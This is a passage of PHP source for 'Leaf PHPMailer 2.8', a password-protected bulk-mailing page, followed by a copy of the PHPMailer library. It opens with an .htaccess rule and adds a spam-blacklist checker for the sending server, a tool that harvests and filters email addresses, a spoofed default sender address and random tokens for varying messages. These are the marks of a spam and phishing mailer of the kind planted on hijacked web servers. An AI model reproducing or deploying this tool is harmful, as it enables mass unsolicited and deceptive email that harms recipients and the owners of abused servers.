<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "x7HGtLWs9of";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
